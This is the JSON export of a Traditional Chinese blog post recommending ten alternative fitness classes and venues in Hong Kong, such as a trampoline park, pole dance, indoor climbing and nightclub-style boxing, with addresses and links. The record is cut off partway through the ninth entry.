{"id":3261,"date":"2021-09-22T12:31:00","date_gmt":"2021-09-22T04:31:00","guid":{"rendered":"https:\/\/lansonplace.com\/?p=3261"},"modified":"2025-10-25T03:29:52","modified_gmt":"2025-10-24T19:29:52","slug":"10-alternative-workout-and-fun-fitness-classes-in-hong-kong","status":"publish","type":"post","link":"https:\/\/lansonplace.cn\/tc\/10-alternative-workout-and-fun-fitness-classes-in-hong-kong\/","title":{"rendered":"\u3010\u53e6\u985e\u904b\u52d5\u73ed\u3011Keep Fit \u4e00\u5b9a\u8981\u53bb\u5065\u8eab\u623f\uff1f10\u7a2e\u597d\u73a9\u7684\u5065\u8eab\u904b\u52d5\u53ca\u8ab2\u7a0b\uff01"},"content":{"rendered":"<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"640\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01.jpeg\" alt=\"\" class=\"wp-image-3262\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01.jpeg 960w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-720x480.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-768x512.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-18x12.jpeg 18w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/figure><\/div>\n\n\n\n<p>\u5118\u7ba1\u4e0d\u5c11\u4eba\u90fd\u559c\u6b61\u5230\u5065\u8eab\u5ba4\u8209\u91cd\u6216\u8dd1\u6b65\uff0c\u4f46\u4e26\u975e\u6240\u6709\u4eba\u90fd\u5c0d\u9019\u985e\u578b\u7684\u5065\u8eab\u904b\u52d5\u611f\u8208\u8da3\u3002\u5047\u5982\u4f60\u5c0d\u50b3\u7d71\u5065\u8eab\u904b\u52d5\u8ab2\u7a0b\u611f\u5230\u53ad\u5026\uff0c\u6216\u662f\u60f3\u4f5c\u51fa\u65b0\u5617\u8a66\uff0c\u4e0d\u59a8\u8a66\u8a66\u4ee5\u4e0b\u5341\u7a2e\u597d\u73a9\u7684\u53e6\u985e\u904b\u52d5\u73ed\uff01<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">10\u7a2e\u597d\u73a9\u7684\u53e6\u985e\u904b\u52d5\u73ed\u548c\u5065\u8eab\u904b\u52d5\u8ab2\u7a0b\uff01<\/h2>\n\n\n\n<h2 class=\"has-text-align-left wp-block-heading\">1. \u8df3\u5f48\u5e8a<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-1.jpeg\" alt=\"\" class=\"wp-image-3263\" width=\"960\" height=\"640\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-1.jpeg 960w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-1-720x480.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-1-768x512.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_01-1-18x12.jpeg 18w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><figcaption>\u5716\u7247\u4f86\u6e90\uff1a@ryzehongkong (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>Ryze\u662f\u9999\u6e2f\u552f\u4e00\u4e00\u500b\u8a2d\u6709\u5ba4\u5167\u5f48\u5e8a\u7684\u5834\u5730\uff0c\u4e0d\u8ad6\u5927\u4eba\u9084\u662f\u5c0f\u5b69\u90fd\u53ef\u4ee5\u5728\u9019\u5ea7\u5f48\u8df3\u5821\u58d8\u4e2d\u5168\u5929\u5019\u8e66\u8e66\u8df3\u8df3\u3002\u9019\u88e1\u64c1\u670940\u500b\u4e92\u76f8\u76f8\u9023\u7684\u5f48\u5e8a\uff0c\u4f60\u53ef\u4ee5\u6311\u6230\u5fcd\u8005\u969c\u7919\u5340\u57df\u3001\u5728\u7a7a\u4e2d\u98db\u4eba\u548c\u7a7a\u4e2d\u7d72\u5e36\u5340\u76e1\u986f\u5e73\u8861\u6280\u5de7\u3001\u6216\u76f4\u63a5\u8df3\u9032\u5927\u578b\u6d77\u7dbf\u6c60\u4e2d\u800d\u6a02\uff0c\u4e0d\u80fd\u932f\u904e\u9019\u88e1\u6700\u6709\u540d\u7684\u659c\u7246\u5f48\u5e8a\u3002\u76f8\u4fe1\u904e\u5f8c\uff0c\u4f60\u5b9a\u6703\u9a5a\u8a1d\u8df3\u5f48\u5e8a\u6240\u6d88\u8017\u7684\u5927\u91cf\u9ad4\u529b\u3002\u53e6\u5916\uff0cRyze\u4e0d\u6642\u4ea6\u6703\u8209\u8fa6\u4e00\u4e9b\u7279\u5225\u5065\u8eab\u8ab2\u7a0b\uff0c\u4f8b\u5982\u98db\u8e8d\u9053\u3001\u81ea\u7531\u5954\u8dd1\u548c\u591c\u5149\u5065\u8eab\u904b\u52d5\uff0c\u9069\u5408\u559c\u6b61\u6311\u6230\u81ea\u5df1\u7684\u670b\u53cb\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.ryzehongkong.com\/\">Ryze Hong Kong<\/a>\uff1a\u9c02\u9b5a\u6d8c\u6e23\u83ef\u9053321\u865f\u67ef\u9054\u5927\u5ec81\u671f3\u6a13<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">2. \u5ba4\u5167\u55ae\u8eca<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1000\" height=\"572\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_02.jpeg\" alt=\"\" class=\"wp-image-3264\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_02.jpeg 1000w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_02-720x412.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_02-768x439.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_02-18x10.jpeg 18w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><figcaption>\u5716\u7247\u4f86\u6e90\uff1aXYZ - Hong Kong<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u9999\u6e2f\u7684\u55ae\u8eca\u5f91\u5927\u591a\u90fd\u4f4d\u8655\u65b0\u754c\uff0c\u6545\u6b64\u6e2f\u5cf6\u5c45\u6c11\u5e73\u6642\u8f03\u5c11\u6a5f\u6703\u5728\u6236\u5916\u8e0f\u55ae\u8eca\u3002XYZ\u5ea7\u843d\u65bc\u6b77\u53f2\u60a0\u4e45\u7684\u5927\u9928\u5167\uff0c\u70ba\u6e2f\u5cf6\u5c45\u6c11\u5e36\u4f86\u6709\u5225\u65bc\u50b3\u7d71\u7684\u53e6\u985e\u8e0f\u55ae\u8eca\u9ad4\u9a57\u3002\u7531\u65bc\u8e0f\u5065\u8eab\u55ae\u8eca\u4e0d\u6703\u70ba\u4f60\u7684\u95dc\u7bc0\u5e36\u4f86\u592a\u5927\u58d3\u529b\uff0c\u6545\u6b64\u4e0d\u5c11\u4eba\u90fd\u8a8d\u70ba\u5b83\u662f\u7d55\u4f73\u7684\u5e36\u6c27\u904b\u52d5\u5065\u8eab\u5668\u6750\u3002XYZ\u6642\u5c1a\u7684\u4f48\u7f6e\u3001\u73fe\u4ee3\u611f\u5341\u8db3\u7684\u71c8\u5149\uff0c\u52a0\u4e0a\u4ee4\u4eba\u71b1\u8840\u6cb8\u9a30\u7684\u80cc\u666f\u97f3\u6a02\uff0c\u8e0f\u5ba4\u5167\u55ae\u8eca\u5f9e\u6b64\u4e0d\u518d\u7121\u804a\u3002\u5728\u7e41\u5fd9\u7684\u90fd\u5e02\u751f\u6d3b\u4e2d\uff0c\u4e0d\u59a8\u8207\u5fd7\u540c\u9053\u5408\u7684\u5925\u4f34\u4e00\u8d77\u524d\u5f80XYZ\uff0c\u91cd\u62fe\u5065\u8eab\u904b\u52d5\u7684\u6a02\u8da3\u3002 <\/p>\n\n\n\n<p><a href=\"https:\/\/www.youarexyz.com\/xyz-breaking-new-ground\" target=\"_blank\" rel=\"noreferrer noopener\">XYZ<\/a>\uff1a\u4e2d\u74b0\u8377\u674e\u6d3b\u905310\u865f\u5927\u9928 10&amp;13-101\u8216<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">3. \u92fc\u7ba1\u821e<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"1200\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03-1600x1200.jpeg\" alt=\"\" class=\"wp-image-3265\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03-1600x1200.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03-720x540.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03-768x576.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03-1536x1152.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03-16x12.jpeg 16w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_03.jpeg 2016w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u5716\u7247\u4f86\u6e90\uff1a@xopolestudio (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u92fc\u7ba1\u821e\u662f\u6df1\u53d7\u6b61\u8fce\u7684\u53e6\u985e\u5065\u8eab\u904b\u52d5\uff0c\u800c\u4e14\u5728\u9999\u6e2f\u4eba\u6c23\u8d8a\u4f86\u8d8a\u9ad8\u3002\u5982\u679c\u4f60\u5c0d\u8b1b\u7a76\u611f\u89ba\u548c\u52d5\u4f5c\u6d41\u66a2\u7684\u7570\u570b\u92fc\u7ba1\u821e\u611f\u8208\u8da3\uff0c\u5c31\u4e00\u5b9a\u8981\u5230\u8fd1\u5e74\u65b0\u958b\u8a2d\u7684XO\u3002XO\u7531\u7372\u734e\u7121\u6578\u7684\u92fc\u7ba1\u821e\u821e\u8e48\u54e1\u958b\u8a2d\uff0c\u9019\u88e1\u7684\u5c0e\u5e2b\u5927\u90e8\u4efd\u90fd\u66fe\u7d93\u5728\u4e16\u754c\u5404\u5730\u53c3\u52a0\u92fc\u7ba1\u821e\u6bd4\u8cfd\uff0c\u6559\u5b78\u7d93\u9a57\u8c50\u5bcc\uff0c\u5b9a\u80fd\u8b93\u4f60\u611b\u4e0a\u92fc\u7ba1\u821e\uff0c\u900f\u904e\u7df4\u7fd2\u935b\u934a\u8eab\u9ad4\u7684\u6bcf\u7d44\u808c\u8089\u3002XO\u8a2d\u6709\u8a66\u5802\u3001\u70ba\u671f8\u661f\u671f\u7684\u7de8\u821e\u8ab2\u7a0b\u3001\u8eab\u9ad4\u67d4\u8edf\u5ea6\u548c\u529b\u91cf\u8a13\u7df4\u3001\u79c1\u4eba\u8ab2\u7a0b\u548c\u5c0f\u73ed\u8ab2\u7a0b\uff0c\u53ef\u6309\u9700\u8981\u9078\u64c7\u9069\u5408\u7684\u8ab2\u7a0b\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.xopole.com\/\">XO<\/a>\uff1a\u200b\u200b\u9577\u6c99\u7063\u9577\u6c99\u7063\u9053650\u865f\u4e2d\u570b\u8239\u8236\u5927\u5ec81801-03\u5ba4<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">4. \u5ba4\u5167\u6500\u77f3<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"1067\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04-1600x1067.jpeg\" alt=\"\" class=\"wp-image-3267\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04-1600x1067.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04-720x480.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04-768x512.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04-1536x1024.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04-18x12.jpeg 18w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_04.jpeg 1914w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u5716\u7247\u4f86\u6e90\uff1a@vermcity (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u6500\u77f3\u66fe\u7d93\u662f\u4e00\u9805\u8f03\u70ba\u51b7\u9580\u7684\u5065\u8eab\u904b\u52d5\uff0c\u5728\u6771\u4eac\u5967\u904b\u6703\u4e0a\u9996\u6b21\u6210\u70ba\u5967\u904b\u7af6\u8cfd\u9805\u76ee\u4e4b\u5f8c\uff0c\u8fd1\u5e74\u5f97\u5230\u8d8a\u4f86\u8d8a\u591a\u4eba\u7684\u95dc\u6ce8\u3002\u60f3\u5728\u9999\u6e2f\u9ad4\u9a57\u6500\u77f3\u7684\u8a71\uff0c\u4e0d\u59a8\u5230\u5168\u6e2f\u6700\u5927\u578b\u7684\u5ba4\u5167\u6500\u77f3\u5834\u5730Verm City\u3002\u4f54\u5730\u8d85\u904e18,000\u5e73\u65b9\u544e\u7684Verm City\u8a2d\u6709\u591a\u7a2e\u6500\u77f3\u7246\uff0c\u8b93\u4f60\u53ef\u9ad4\u9a57\u62b1\u77f3\u3001\u6500\u5ca9\u548c\u904b\u52d5\u6500\u767b\u3002Verm City\u958b\u8a2d\u5404\u985e\u578b\u6500\u77f3\u8ab2\u7a0b\uff0c\u9069\u5408\u4e0d\u540c\u5e74\u9f61\u3001\u80fd\u529b\u7684\u5b78\u54e1\u53c3\u52a0\u3002\u7121\u8ad6\u662f4\u81f312\u6b72\u7684\u5c0f\u670b\u53cb\u3001\u60f3\u5b78\u7fd2\u57fa\u672c\u6280\u5de7\u548c\u5b89\u5168\u77e5\u8b58\u7684\u6500\u77f3\u521d\u5b78\u8005\uff0c\u9084\u662f\u5e0c\u671b\u900f\u904e\u79c1\u4eba\u4e00\u5c0d\u4e00\u8ab2\u7a0b\u5b78\u7fd2\u9032\u968e\u6280\u5de7\u7684\u6500\u77f3\u611b\u597d\u8005\uff0c\u90fd\u53ef\u4ee5\u5728\u9019\u88e1\u9078\u64c7\u9069\u5408\u81ea\u5df1\u7684\u8ab2\u7a0b\u3002\u53e6\u5916\uff0cVerm City\u4ea6\u6709\u63d0\u4f9b\u5305\u5834\u670d\u52d9\uff0c\u8b93\u4e0d\u540c\u6a5f\u69cb\u53ef\u4ee5\u5728\u6b64\u9032\u884c\u5718\u9ad4\u6d3b\u52d5\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.vermcity.com\/\">Verm City<\/a>\uff1a\u9c02\u9b5a\u6d8c\u67ef\u9054\u5927\u5ec8\u4e00\u671f 4 \u6a13<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">5. \u6d77\u7058\u7a7a\u4e2d\u745c\u4f3d<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"900\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05-1600x900.jpeg\" alt=\"\" class=\"wp-image-3268\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05-1600x900.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05-720x405.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05-768x432.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05-1536x864.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05-18x10.jpeg 18w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_05.jpeg 2048w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u5716\u7247\u4f86\u6e90\uff1a@flyingbambooyoga (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u559c\u6b61\u4eab\u53d7\u967d\u5149\u8207\u6d77\u7058\u3001\u53c8\u60f3\u935b\u934a\u8eab\u9ad4\u67d4\u8edf\u5ea6\u548c\u6838\u5fc3\u808c\u7fa4\uff1fBamboo Yoga\u7684\u904b\u52d5\u73ed\u80fd\u5920\u4e00\u6b21\u904e\u6eff\u8db3\u4f60\u5169\u500b\u9858\u671b\u3002Bamboo Yoga\u7a7a\u4e2d\u745c\u4f3d\u8ab2\u7a0b\u9078\u5740\u897f\u8ca2\u897f\u7063\u8209\u884c\uff0c\u8b93\u4f60\u53ef\u4ee5\u5728\u5065\u8eab\u7684\u540c\u6642\u98fd\u89bd\u7f8e\u4e0d\u52dd\u6536\u7684\u81ea\u7136\u666f\u8272\uff0c\u85c9\u8457\u5927\u81ea\u7136\u7684\u606c\u975c\uff0c\u6383\u8d70\u65e5\u5e38\u5de5\u4f5c\u751f\u6d3b\u7684\u6c88\u91cd\u58d3\u529b\u3002Bamboo Yoga\u7684\u6d77\u7058\u7a7a\u4e2d\u745c\u4f3d\u5065\u8eab\u8ab2\u7a0b\u8a2d\u6709\u5169\u7a2e\u9078\u64c7\uff0c\u5206\u5225\u70ba\u534a\u65e5\u8ab2\u7a0b\u548c\u5168\u65e5\u8ab2\u7a0b\u3002\u53c3\u8207\u5168\u65e5\u8ab2\u7a0b\u7684\u5b78\u54e1\u5c07\u6703\u9996\u5148\u5728\u4f4d\u65bc\u4e2d\u74b0\u7684\u5de5\u4f5c\u5ba4\u4e0a\u8ab2\uff0c\u5b78\u7fd2\u7a7a\u4e2d\u745c\u4f3d\u7684\u57fa\u672c\u6280\u5de7\u548c\u5c11\u8a31\u5012\u7acb\u59ff\u52e2\u3002\u8ab2\u5802\u5b8c\u7d50\u5f8c\uff0c\u4fbf\u6703\u4e00\u540c\u9060\u8db3\u524d\u5f80\u5927\u6d6a\u7063\u9032\u884c\u7a7a\u4e2d\u745c\u4f3d\u7df4\u7fd2\u3002\u88dd\u4e0a\u540a\u5e8a\u7684\u7af9\u88fd\u4e09\u89d2\u67b6\u6574\u9f4a\u5730\u6392\u5217\u5728\u6d77\u7058\u4e0a\uff0c\u8b93\u4f60\u5728\u4e00\u671b\u7121\u969b\u7684\u5927\u6d77\u9762\u524d\u8212\u5c55\u7b4b\u9aa8\uff0c\u540c\u6642\u6253\u5361\u62cd\u7167\u7559\u5ff5\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.bamboo-yoga.com\/\">Bamboo Yoga<\/a>\uff1a\u897f\u8ca2\u897f\u7063\u6cf3\u7058<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">6. \u591c\u5e97\u5f0f\u62f3\u64ca\u904b\u52d5<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"1068\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06-1600x1068.jpeg\" alt=\"\" class=\"wp-image-3269\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06-1600x1068.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06-720x481.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06-768x513.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06-1536x1026.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06-18x12.jpeg 18w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_06.jpeg 1872w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u5716\u7247\u4f86\u6e90\uff1a@lightsouthk (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u4f60\u6709\u58d3\u6291\u9700\u8981\u767c\u6d29\u55ce\uff1f\u4e0d\u59a8\u53c3\u8207\u9019\u500b50\u5206\u9418\u7684\u71c8\u5149\u8ff7\u5e7b\u3001\u97f3\u6a02\u6f8e\u6e43\u7684LIGHTS\/\/OUT\u591c\u5e97\u5f0f\u62f3\u64ca\u5065\u8eab\u8ab2\u7a0b\u5427\uff01\u5f37\u52c1\u7684\u7bc0\u62cd\u3001\u62f3\u64ca\u7684\u5feb\u611f\u3001\u6709\u8da3\u7684\u5065\u8eab\u6311\u6230\u548c\u6a02\u800c\u5fd8\u8fd4\u7684\u6c23\u6c1b\uff0c\u5b9a\u80fd\u8b93\u4f60\u6292\u767c\u751f\u6d3b\u4e2d\u6240\u9762\u5c0d\u7684\u58d3\u529b\u3002LIGHTS\/\/OUT\u8a2d\u6709\u56db\u6b3e\u4e0d\u540c\u7a2e\u985e\u7684\u62f3\u64ca\u5065\u8eab\u8ab2\u7a0b\u9078\u64c7\uff0c\u5305\u62ec\u6c99\u5305\u8a13\u7df4\u3001\u529b\u91cf\u8a13\u7df4\u3001\u9ad8\u5f37\u5ea6\u9593\u6b47\u8a13\u7df4\u548c\u6df7\u5408\u62f3\u64ca\uff0c\u7121\u8ad6\u4f60\u662f\u65b0\u624b\u6216\u662f\u5065\u8eab\u611b\u597d\u8005\u90fd\u4e00\u6a23\u9069\u5408\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.lightsouthk.com\/\">LIGHTS\/\/OUT Boxing Club<\/a>\uff1a\u4e0a\u74b0\u6587\u54b8\u6771\u885722-26\u865f\u67cf\u5ef7\u574a11\u6a13<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">7. \u6c34\u7642\u55ae\u8eca<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"1066\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07-1600x1066.jpeg\" alt=\"\" class=\"wp-image-3270\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07-1600x1066.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07-720x480.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07-768x512.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07-1536x1024.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07-18x12.jpeg 18w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_07.jpeg 2048w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u5716\u7247\u4f86\u6e90\uff1a@velocityhk (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u4e0d\u60f3\u5728\u60b6\u71b1\u7684\u6236\u5916\u8e0f\u55ae\u8eca\u81f3\u6c57\u6d41\u6d79\u80cc\uff1f\u8a66\u8a66\u6c34\u7642\u55ae\u8eca\u5427\uff01Velocity\u5ea7\u843d\u65bc\u9285\u947c\u7063\u4e2d\u5fc3\u5730\u5e36\uff0c\u8a2d\u6709\u55ae\u4eba\u6309\u6469\u6d74\u6c60\u6c34\u7642\u55ae\u8eca\u5065\u8eab\u8ab2\u7a0b\uff0c\u8b93\u4f60\u53ef\u4ee5\u5728\u79c1\u4eba\u904b\u52d5\u8259\u4e2d\u76e1\u60c5\u904b\u52d5\u3002\u6c34\u7642\u55ae\u8eca\u7684\u7368\u7279\u4e4b\u8655\u5728\u65bc\u5b83\u4e0d\u4f46\u80fd\u5920\u52a9\u4f60\u8f15\u9b06\u935b\u934a\u5927\u817f\u548c\u81c0\u90e8\u808c\u8089\uff0c\u540c\u6642\u4ea6\u4eab\u53d7\u6c34\u7642\u5674\u5c04\u5f0f\u6309\u6469\uff0c\u7d55\u5c0d\u662f\u7121\u8207\u502b\u6bd4\u7684\u9ad4\u9a57\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.velocitystudio.hk\/en\/\">Velocity Studio<\/a>\uff1a\u9285\u947c\u7063\u970e\u6771\u8857 15-21\u865fOliv14\u6a13<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">8. \u6d3e\u5c0d\u5f0f\u5065\u8eab\u904b\u52d5\u8ab2\u7a0b<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"900\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08-1600x900.jpeg\" alt=\"\" class=\"wp-image-3271\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08-1600x900.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08-720x405.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08-768x432.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08-1536x864.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08-18x10.jpeg 18w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_08.jpeg 2048w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u5716\u7247\u4f86\u6e90\uff1a@flyefitnesshk (Facebook)<\/figcaption><\/figure><\/div>\n\n\n\n<p>\u96b1\u85cf\u65bc\u4e00\u9593\u591c\u5e97\u4e2d\u7684Flye Fitness\u63d0\u4f9b\u878d\u5408\u5e36\u6c27\u904b\u52d5\u548c\u9ad8\u5f37\u5ea6\u9593\u6b47\u8a13\u7df4\u5143\u7d20\u7684\u5065\u8eab\u904b\u52d5\u8ab2\u7a0b\uff0c\u4e26\u4ee5\u6d3e\u5c0d\u5f62\u5f0f\u9032\u884c\u3002\u900f\u904e\u73fe\u5834\u71df\u9020\u6d3e\u5c0d\u6c23\u6c1b\uff0c\u52d9\u6c42\u8b93\u4e00\u773e\u5b78\u54e1\u5728\u665a\u4e0a\u80fd\u5920\u7cbe\u529b\u5145\u6c9b\u5730\u52d5\u8d77\u4f86\u51fa\u4e00\u8eab\u6c57\u3002\u6bcf\u5802\u5065\u8eab\u904b\u52d5\u8ab2\u7a0b\u5206\u70ba3\u90e8\u4efd\uff0c30\u81f335\u5206\u9418\u5e36\u6c27\u821e\u8e48\u300110\u5206\u9418\u9ad8\u5f37\u5ea6\u9593\u6b47\u8a13\u7df4\u548c10\u5206\u9418\u81ea\u9078\u821e\u8e48\u3002\u53e6\u5916\uff0cFlye Fitness\u66f4\u8a2d\u6709\u73fe\u5834DJ\uff0c\u64ad\u653e\u4f86\u81ea\u4e16\u754c\u5404\u5730\u7684\u4eba\u6c23\u6b4c\u66f2\uff0c\u5728\u591c\u5e97\u822c\u7684\u97f3\u6a02\u548c\u71c8\u5149\u4e0b\uff0c\u8b93\u4f60\u8207\u5176\u4ed6\u5b78\u54e1\u76e1\u60c5\u6295\u5165\u5065\u8eab\u904b\u52d5\u548c\u821e\u8e48\u3002<\/p>\n\n\n\n<p><a href=\"https:\/\/www.flyefitnessasia.com\/\">Flye Fitness<\/a>\uff1a\u4e0a\u74b0\u5fb7\u8f14\u9053\u4e2d279-281\u865f\u8c50\u548c\u5927\u5ec8<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">9. \u7a7a\u4e2d\u5f48\u8df3\u904b\u52d5<\/h2>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1600\" height=\"1066\" src=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09-1600x1066.jpeg\" alt=\"\" class=\"wp-image-3272\" srcset=\"https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09-1600x1066.jpeg 1600w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09-720x480.jpeg 720w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09-768x512.jpeg 768w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09-1536x1024.jpeg 1536w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09-18x12.jpeg 18w, https:\/\/lansonplace.cn\/wp-content\/uploads\/B21_09.jpeg 2048w\" sizes=\"auto, (max-width: 1600px) 100vw, 1600px\" \/><figcaption>\u5716\u7247\u4f86\u6e90\uff1a@grandjetehk 